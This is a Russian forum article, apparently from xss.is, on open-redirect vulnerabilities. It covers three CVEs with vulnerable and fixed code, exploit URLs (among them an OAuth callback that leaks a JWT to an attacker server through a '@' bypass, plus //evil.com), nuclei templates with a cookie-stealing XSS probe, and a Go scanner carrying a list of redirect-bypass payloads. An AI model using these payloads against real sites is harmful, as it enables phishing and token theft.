Уязвимость которую продают чёрные хакеры, а удаляют белые [ Открытые Редиректы ]

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0

Открытые Закрытые Редиректы​

Эта статья о уязвимости, которую продают чёрные хакеры, а удаляют белые. Почему? Потому что она нам бесполезна. Как вы уже поняли, уязвимость заключается в открытом редиректе, но в большинстве случаев она не принимается платформами безопасности, так как требует взаимодействия пользователя, или, как мы говорим, "фишинга". Значит, пью свой кофе как обычно, и кто-то написал мне на форуме, что хочет купить открытый редирект для компании X, и компания X достаточно большая для наличия уязвимостей, очевидно, мне пришлось отказать, потому что это неэтично. Я стараюсь не переходить границу, мне нравится исследовать, и пока этого достаточно. В любом случае, этот парень подал мне идею поиска открытых редиректов в организации Y. Это еще одна статья, объясняющая автоматизацию, легкие и средние (еще один легкий способ) способы нахождения уязвимости.

Открытый Редирект​

Открытый Редирект - это уязвимость, возникающая, когда веб-приложение манипулируется для перенаправления пользователя на другой сайт, обычно недоверенный и потенциально злонамеренный внешний сайт. Уязвимости Открытых Редиректов эксплуатируют доверие пользователя к данному веб-сайту для перенаправления пользователя в вредоносные места. Под доверием я имею в виду домен, пользователь видит, что есть доверенная ссылка, "xss.is/?redirectUrl=xss[.]bz" - в данном примере, которой является xss.is, и когда пользователь нажимает на нее, он перенаправляется на недоверенный веб-сайт, xss[.]bz. Этот тип уязвимости является результатом неправильной проверки / отсутствия фильтрации при обработке URL, предоставленных пользователем. Когда веб-приложение принимает непроверенный ввод, определяющий место назначения переадресации, хакеры могут заменить его на свой злонамеренный URL.

Ситуация в нашем мире​

Уязвимости Открытых Редиректов часто игнорируются, хотя они представляют значительную угрозу из-за их косвенной природы и легкости, с которой их могут эксплуатировать злоумышленники. К сожалению, программы раскрытия уязвимостей обращают внимание на прямые методы атаки (SQL/XSS и т.д.), а не на уязвимости, такие как Искажение Содержимого/Открытая-Переадресация и т.д. Очевидно, в результате они подвергаются взлому простыми фишинговыми атаками.

Как работает открытый редирект?​

Открытый Редирект происходит, когда приложение принимает URL, предоставленный пользователем, и использует его для перенаправления пользователя на новую страницу без должной проверки. Это может быть параметр, который отправляется в POST-запросе, или параметр в URL в GET-запросе. Если вы найдете открытый редирект в POST-запросе, компании даже не будут на это смотреть, очевидно, в зависимости от случая, но в основном это будет игнорироваться. Но в GET-запросе, это будет хотя бы рассмотрено. Процесс обычно выглядит так:
Ввод пользователя: пользователь нажимает на ссылку, которая должна перенаправить его внутри того же сервиса (веб-сайта). Однако эта ссылка имеет параметр, который можно контролировать пользователем. Допустим, параметр redirectURL.
Проверка системы: веб-приложение не санитизирует этот ввод. В результате оно не различает внутренние и внешние направления. Таким образом, значение параметра становится вредоносным веб-сайтом.
Эксплуатация: приложение выполняет перенаправление на основе ввода хацкера, и пользователь после нажатия на "доверенную" ссылку перенаправляется на вредоносный веб-сайт.

Не существует определенных видов открытых редиректов, но если бы мне пришлось их разделить, я бы выделил 3 вида на основе моего опыта:
  • Непроверенные Редиректы: это редиректы, которые не требуют никакой аутентификации. Так что уязвимость на самом деле непроверенная (не прошедший проверку подлинности / без входа).
  • Проверенные Редиректы: Как вы понимаете, это редиректы, требующие аутентификации ИЛИ происходящие в процессе аутентификации. Отличный пример для этого может быть служба OAuth, которая позволяет перенаправление и может быть использована хакерами для кражи токенов.
  • Службы третьих сторон: ваш веб-сайт может быть интегрирован со службами третьих сторон, у которых есть эта уязвимость или "функциональность". Хороший пример - плагины сокращения URL, вы добавляете плагин сокращения URL для вашего форума, и злоумышленники используют его для фишинга ваших пользователей.


CVE-2023-5375​

Я постараюсь объяснить это как можно проще, давайте перед проверкой кода проверим сам эксплойт.
Код: Скопировать в буфер обмена
http://127.0.0.1:8080/project/switch/1?targetPath=https://google.com
Мы можем сделать заметку себе, когда дела усложняются, но этот случай прост, как и большинство случаев с открытыми редиректами. Уязвимый параметр - "targetPath".
Уязвимый код:
Код: Скопировать в буфер обмена
Код:
// Redirect back to the originally requested path
        $targetPath = $request->query->get('targetPath', false);
        if ($targetPath) {
            return $this->redirect($targetPath);
        }

        return $this->redirectToRoute('dashboard');
    }
    protected function setActiveProject(Request $request, Project $project): bool
    {
        if (!$this->isGranted('ROLE_ADMIN') && !$project->isProjectMember($this->getUser())) {
            return false;
        }
        $request->getSession()->set('activeProjectId', $project->getId());

        return true;
    }
}
Ключевая часть этого кода:
Код: Скопировать в буфер обмена
Код:
$targetPath = $request->query->get('targetPath', false);
if ($targetPath) {
    return $this->redirect($targetPath);
}
Уязвимость открытого редиректа возникает, когда веб-приложение слепо перенаправляет пользователя на URL, указанный в запросе, без какой-либо проверки. В этом коде $targetPath напрямую берется из параметра запроса и используется в методе перенаправления без какой-либо проверки.

Исправленная версия кода:
Код: Скопировать в буфер обмена
Код:
// Redirect back to the originally requested path
        $targetPath = $request->query->get('targetPath', false);
        if ($targetPath && $this->isLocalUrl($request, $targetPath)) {
            return $this->redirect($targetPath);
        }

        return $this->redirectToRoute('dashboard');
    }
    protected function setActiveProject(Request $request, Project $project): bool
    {
        if (!$this->isGranted('ROLE_ADMIN') && !$project->isProjectMember($this->getUser())) {
            return false;
        }
        $request->getSession()->set('activeProjectId', $project->getId());

        return true;
    }

    protected function isLocalUrl(Request $request, $url): bool
    {
        // If the first character is a slash, the URL is relative (only the path) and is local
        if (str_starts_with($url, '/')) {
            return true;
        }

        // If the URL is absolute but starts with the host of mosparo, we can redirect it.
        // Add the slash to prevent a redirect when a similar top-level domain is used.
        // For example, mosparo.com should not allow a redirect to mosparo.com.au
        if (str_starts_with($url, $request->getSchemeAndHttpHost() . '/')) {
            return true;
        }

        // The URL does not match the two checks because it's an external URL; no redirect in that case.
        return false;
    }
}
В этом коде сделаны 2 важных изменения:
Новый метод isLocalUrl предназначен для проверки, является ли данный URL локальным для приложения. Этот метод выполняет две основные проверки. Сначала он проверяет, начинается ли URL с прямого слеша (/), указывая на то, что это относительный путь и, следовательно, локальный. Вторая проверка - он затем проверяет, является ли URL абсолютным, но начинается с той же схемы и хоста, что и приложение, гарантируя, что перенаправление остается в пределах того же домена. И, очевидно, логика перенаправления изменена, targetPath теперь проверяется с помощью метода isLocalUrl. Это гарантирует, что приложение перенаправляет только на URL, которые являются либо относительными путями, либо абсолютными URL-адресами, принадлежащими тому же домену.

Что-то от себя:
Я не разработчик PHP, анализировал с помощью google + AI, насколько я понимаю, они использовали метод $request->getSchemeAndHttpHost() для получения схемы и хоста приложения. Этот метод идентифицирует хост (домен) из заголовка "Host", так что, если вы, допустим, отправите запрос на "xss.is" с заголовком хоста "xss.bz", технически это должно привести к ошибке, но если это не так, то вы можете злоупотребить методом (т.к. метод примет этот хост как основной домен - но технически такое не должно быть тк с неправильным хостом этот сайт не откроет и выйдет ерр0р 5xx). ОПЯТЬ ЖЕ, я не разработчик и у меня не так много опыта в программировании, так что я могу ошибаться, но я думаю, что это возможный способ злоупотребления методом. Еще один способ злоупотребить этим методом - через полезные нагрузки вроде '//google.com/', она точно пройдет первую проверку, но я не знаю, как она будет обрабатываться дальше.

На сколько я понимаю, этот случай является вторым видом открытого редиректа, Проверенный Редирект, который можно эксплуатировать ПОСЛЕ аутентификации.

CVE-2023-35948​

Существует уязвимость открытого редиректа в Novu, когда пользователи пытаются войти через github.
Давайте сначала проверим Вход через Github:
Код: Скопировать в буфер обмена
Код:
@Get('/github/callback')
  @UseGuards(AuthGuard('github'))
  async githubCallback(@Req() request, @Res() response) {
    if (!request.user || !request.user.token) {
      return response.redirect(`${process.env.FRONT_BASE_URL + '/auth/login'}?error=AuthenticationError`);
    }

    let url = process.env.FRONT_BASE_URL + '/auth/login';
    const redirectUrl = JSON.parse(request.query.state).redirectUrl;

    /**
     * Make sure we only allow localhost redirects for CLI use and our own success route
     * https://github.com/novuhq/novu/security/code-scanning/3
     */
    if (redirectUrl && redirectUrl.startsWith('http://localhost:')) {
      url = redirectUrl;
    }

    url += `?token=${request.user.token}`;

    if (request.user.newUser) {
      url += '&newUser=true';
    }

    /**
     * partnerCode, next and configurationId are required during external partners integration
     * such as vercel integration etc
     */
    const partnerCode = JSON.parse(request.query.state).partnerCode;
    if (partnerCode) {
      url += `&code=${partnerCode}`;
    }

    const next = JSON.parse(request.query.state).next;
    if (next) {
      url += `&next=${next}`;
    }

    const configurationId = JSON.parse(request.query.state).configurationId;
    if (configurationId) {
      url += `&configurationId=${configurationId}`;
    }

    const invitationToken = JSON.parse(request.query.state).invitationToken;
    if (invitationToken) {
      url += `&invitationToken=${invitationToken}`;
    }

    return response.redirect(url);
  }
Я не собираюсь анализировать весь код, потому что все, что мне сейчас нужно, это понять, что отправляет пользователь и что он получает в ответ, а также куда (на какой домен) приходит ответ. Пользователи перенаправляются на страницу входа в систему OAuth GitHub для аутентификации. После успешного входа в систему с GitHub, GitHub перенаправляет пользователя обратно в приложение (конечная точка /github/callback). И такой запрос будет отправлен https://<novu_api>/v1/auth/github/callback?code={code}&state={"source":"web","redirectUrl":"http://localhost:pass/"} , в ответ вы получите JWT-токен http://localhost:pass/?token=<JWT_token>. И параметр обязательно должен начинаться на 'http://localhost:'. С первого взгляда кажется безопасным, потому что злоумышленник должен каким-то образом начать URL перенаправления с http://localhost:.
Но вот уязвимый код:
Код: Скопировать в буфер обмена
Код:
if (redirectUrl && redirectUrl.startsWith('http://localhost:')) {
      url = redirectUrl;
    }
Этот код проверяет, определена ли переменная redirectUrl и не является ли она нулевой или пустой. Если redirectUrl не определен или пуст, блок кода внутри if не будет выполнен. Если redirectUrl существует и не пуст, он проверяет, начинается ли он с строки 'http://localhost:'.
Используемый для атаки пейлоад:
Код: Скопировать в буфер обмена
https://<novu_api>/v1/auth/github/callback?code=&state={"source":"web","redirectUrl":"http://localhost:pass@<attacker_server>/"}
Таким образом, когда атакующий использовал @, вместо перенаправления на оригинальный сервер, он перенаправил на сервер атакующего:
Код: Скопировать в буфер обмена
http://localhost:pass@<attacker_server>/?token=<JWT_token>
Я могу ошибаться, но, как я понимаю, в этом случае сервер атакующего является основным доменом, а localhost:pass используется как своего рода поддомен, который перенаправляет на основной домен. Пример в живую:
https://localhost:pass@evil.com/
Когда вы кликаете по этой ссылке, вы будете перенаправлены на evil.com. Почему? Потому что браузер интерпретирует часть после @ (evil.com) как фактический пункт назначения и перенаправляет вас туда. Это мера безопасности, чтобы предотвратить фишинг, где пользователя могут обмануть, заставив думать, что он обращается к безопасной ссылке localhost, в то время как на самом деле он перенаправляется на вредоносный внешний сайт. Таким образом, мера безопасности, реализованная браузером, сама становится угрозой, что так иронично xD

Исправленный код:
Код: Скопировать в буфер обмена
if (redirectUrl && redirectUrl.startsWith('http://localhost:') && !redirectUrl.includes('@')) {
Теперь в этом коде URL должен начинаться с localhost, не может быть null и не должен включать '@'.

Это также второй вид смешанный с третьим видом открытых перенаправлений, в которых уязвимость возникает ВО ВРЕМЯ аутентификации.

CVE-2023-0748​

В этом случае уязвимый код находится везде, так что давайте начнем с одного из эксплойтов:
Код: Скопировать в буфер обмена
https://mainnet.demo.btcpayserver.org/recovery-seed-backup?cryptoCode=BTC&mnemonic=above&passphrase=&isStored=false&requireConfirm=true&returnUrl=//evil.com
Уязвимая часть - параметр "returnUrl", теперь давайте проверим, как это выглядит в коде:
Код: Скопировать в буфер обмена
<a href="@Model.ReturnUrl" class="btn btn-primary btn-lg mt-3 px-5 order-3" id="proceed" rel="noreferrer noopener">Done</a>
У меня совершенно нет опыта с C#, так что начнем с нубства. Мы видим, что проблема, вероятно, в @Model.ReturnUrl, "Model" - это объект, который передается от контроллера к представлению. Он содержит информацию, которую нужно обработать, что в нашем случае является URL. ReturnUrl - это переменная внутри объекта "Model". Она хранит значение, представляющее возвращаемый URL, который перенаправляет пользователей обратно на определенную страницу. Проблема здесь в том, что совсем нет санитизации.

Исправленный код выглядит так:
Код: Скопировать в буфер обмена
<a href="@Url.EnsureLocal(Model.ReturnUrl)" class="btn btn-primary btn-lg mt-3 px-5 order-3" id="proceed" rel="noreferrer noopener">Done</a>
EnsureLocal - это метод, предоставляемый объектом Url, который гарантирует, что URL является локальным. Model.ReturnUrl, как я уже говорил, относится к переменной с именем ReturnUrl в объекте Model. Теперь вопрос в том, как работает метод EnsureLocal. Вот основной код, созданный для устранения этой уязвимости:
Код: Скопировать в буфер обмена
Код:
public static string? EnsureLocal(this IUrlHelper helper, string? url, HttpRequest? httpRequest = null)
        {
            if (url is null || helper.IsLocalUrl(url))
                return url;
            if (httpRequest is null)
                return null;
            if (Uri.TryCreate(url, UriKind.Absolute, out var r) && r.Host.Equals(httpRequest.Host.Host))
                return url;
            return null;
        }
Этот код проверяет, является ли URL пустым или локальным (используя метод IsLocalUrl объекта IUrlHelper). Если одно из условий правдиво, метод возвращает url как есть. IsLocalUrl проверяет, является ли URL относительным (локальным), в противном случае возвращает false. Если правдиво он проверяет, является ли httpRequest пустым. Если это так, метод возвращает null. httpRequest используется для сравнения хоста URL с хостом текущего запроса. После этого он пытается создать новый объект Uri из url. Если это удается, полученный объект Uri сохраняется в переменной r. Затем он проверяет, совпадает ли хост этого вновь созданного Uri (r.Host) с хостом текущего HTTP-запроса (httpRequest.Host.Host). Если они совпадают, он возвращает url, подтверждая, что это абсолютный URL, указывающий на тот же хост, что и текущий запрос.

Простыми словами, если я правильно понял. URL пуст? Остановка, если не пуст, продолжаем и чекаем локальный он или нет, если локальный, тут 2 случая, xss.is/1 локальный как и /1, так что он чекает ссылка совпадает с хостом или нет, если совпадает то продолжается (это в случаи хсс.ис/1, в /1 он и так локальный). Потом создаёт ссылку для редиректа и снова чекает хост совпадает ли с доменом в той ссылке (например из /3 сделает xss.is/3 и чекнет xss.is это хост или нет), если да, то круто.

Эта логика используется во всей платформе для предотвращения уязвимостей открытых перенаправлений.

Организация Y​

Исходя из того, что мы видим, уязвимости открытых перенаправлений обычно можно идентифицировать через параметры вроде redirectUrl и т. д. Так давайте подумаем о базовых шагах автоматизации:
  1. Веб-сайт должен быть просканирован, и значения параметров должны быть удалены
  2. Удаленные значения должны быть заменены на URL, на который мы хотим, чтобы произошло перенаправление
  3. Инструмент должен проверить, произошло ли перенаправление или нет, это можно сделать через заголовок под названием “Location”

Простой способ​

Самый простой способ сделать это - использовать nuclei, он легко идентифицирует открытые перенаправления, и есть множество плагинов для CVE, в которых есть открытые перенаправления, поэтому использование его - на самом деле самый простой способ идентифицировать эти уязвимости. Давайте посмотрим на некоторые плагины:
Sap Redirect:
Код: Скопировать в буфер обмена
Код:
http:
  - method: GET
    path:
      - "{{BaseURL}}/sap/public/bc/icf/logoff?redirecturl=https://interact.sh"
Код: Скопировать в буфер обмена
Код:
matchers:
      - type: status
        status:
          - 302

      - type: word
        words:
          - "Location: https://www.interact.sh"
          - "Location: https://interact.sh"
Он в основном добавляет '/sap/public/bc/icf/logoff?redirecturl=https://interact.sh' к URL и проверяет заголовок, как мы писали выше. Вот еще один плагин для CVE-2022-0087:
Код: Скопировать в буфер обмена
Код:
- method: GET
    path:
      - "{{BaseURL}}/signin?from=https://interact.sh"
      - "{{BaseURL}}/signin?from=javascript:alert(document.cookie)"
Код: Скопировать в буфер обмена
Код:
matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Location: https://interact.sh"

      - type: word
        part: body
        words:
          - "alert(document.cookie)"
Здесь две уязвимости, XSS и открытое перенаправление, логика проверки та же. Так что использование nuclei не так уж плохо.

Еще один простой способ​

Nuclei сканирует готовые плагины, что плохо, если вы планируете использовать nuclei на каком-то продукте, где целью является поиск 0day. Я предпочитаю вам использовать сканер, который получит все необходимые параметры, а затем использовать эти параметры для проверки уязвимостей открытых перенаправлений. Вы можете использовать краулер burp pro или любой другой инструмент с открытым исходным кодом, например bablo, который участвует в конкурсе. Использование этих инструментов простое и имеет одну и ту же цель - сканирование. После этого вы можете написать инструмент, который заменит параметры каким-то URL и проверит, происходит ли перенаправление на этот URL через заголовок.
Код: Скопировать в буфер обмена
Код:
package main

import (
    "crypto/tls"
    "flag"
    "fmt"
    "net/http"
    "net/url"
    "strings"
    "sync"
)

func main() {
    fmt.Println("Made with lyubofff by GrozdniyAndy of XSS.is")
    flag.Parse()

    inputURL := flag.Arg(0)
    if inputURL == "" {
        fmt.Println("Please provide a URL")
        return
    }

    replacements := []string{
        "interact.sh", "@interact.sh", "http://interact.sh", "https://interact.sh",
        ".interact.sh", "/interact.sh", "/.interact.sh", `\/interact.sh`, `\/.interact.sh`,
        `\/\/.interact.sh`, `\/\/interact.sh`, `/\/interact.sh`, `/\/.interact.sh`,
        ";interact.sh", ";.interact.sh", "/http://interact.sh", "/https://interact.sh",
        "http://;@interact.sh", "https://;@interact.sh",
    }

    if !strings.HasPrefix(inputURL, "http://") && !strings.HasPrefix(inputURL, "https://") {
        var wg sync.WaitGroup
        wg.Add(2)
        go processInputURL("http://"+inputURL, replacements, &wg)
        go processInputURL("https://"+inputURL, replacements, &wg)
        wg.Wait()
    } else {
        processInputURL(inputURL, replacements, nil)
    }
}

func processInputURL(inputURL string, replacements []string, wg *sync.WaitGroup) {
    if wg != nil {
        defer wg.Done()
    }

    httpClient := &http.Client{
        CheckRedirect: func(req *http.Request, via []*http.Request) error {
            return http.ErrUseLastResponse
        },
    }

    if strings.HasPrefix(inputURL, "https://") {
        httpClient.Transport = &http.Transport{
            TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
        }
    }

    parsedURL, err := url.Parse(inputURL)
    if err != nil {
        fmt.Printf("Error parsing URL: %v\n", err)
        return
    }

    query := parsedURL.Query()
    for key, originalValues := range query {
        for _, originalValue := range originalValues {
            for _, replacement := range replacements {
                query.Set(key, replacement)
                testURL := *parsedURL
                testURL.RawQuery = query.Encode()
                testRedirect(testURL.String(), httpClient, key, originalValue, replacement)
            }
            query.Set(key, originalValue)
        }
    }
}

func testRedirect(testURL string, httpClient *http.Client, key, originalValue, replacement string) {
    resp, err := httpClient.Get(testURL)
    if err != nil {
        fmt.Printf("Error making HTTP request to '%s': %v\n", testURL, err)
        return
    }
    defer resp.Body.Close()

    if resp.StatusCode >= 300 && resp.StatusCode < 400 {
        location, err := resp.Location()
        if err == nil && strings.Contains(location.Host, "interact.sh") {
            fmt.Printf("Success: '%s' - Parameter '%s' with original value '%s' replaced with '%s' redirected to 'interact.sh'\n", testURL, key, originalValue, replacement)
        } else {
            fmt.Printf("Fail: '%s' - Parameter '%s' with original value '%s' replaced with '%s' did not redirect to 'interact.sh'\n", testURL, key, originalValue, replacement)
        }
    } else {
        fmt.Printf("No redirect: '%s' - Parameter '%s' with original value '%s' replaced with '%s'\n", testURL, key, originalValue, replacement)
    }
}
Так что делает этот код. Он проверяет, дали ли вы ему веб-адрес (URL) для работы. Если вы не предоставили URL, он запрашивает его и останавливается. Есть список пейлоадов для открытого перенаправления, все они связаны с "interact.sh". Затем он будет использовать эти пейлоады для изменения URL. Основная часть кода берет ваш URL и список замен, чтобы начать свою работу. Он настраивает способ обработки веб-запросов, убеждаясь, что он может обрабатывать перенаправления (когда веб-адрес перенаправляет вас на другой) и безопасные соединения (https - он не будет проверять SSL-сертификат, поэтому не имеет значения, истек ли срок действия сертификата сайта или нет). Если ваш URL не начинается с "http://" или "https://", инструмент добавляет "http://" и “https://”. Код затем смотрит на каждый параметр и заменяет значение каждого параметра каждым из пейлоадов из списка поочередно и тестирует новый URL, который он создает. Для каждого измененного URL инструмент проверяет, что происходит, когда он пытается получить к нему доступ. Он особенно ищет, перенаправляет ли веб-сайт запрос на сайт, содержащий "interact.sh".

1704452267509.png


Изображение [1]​

Автор grozdniyandy

Источник https://xss.is/

 
Сверху Снизу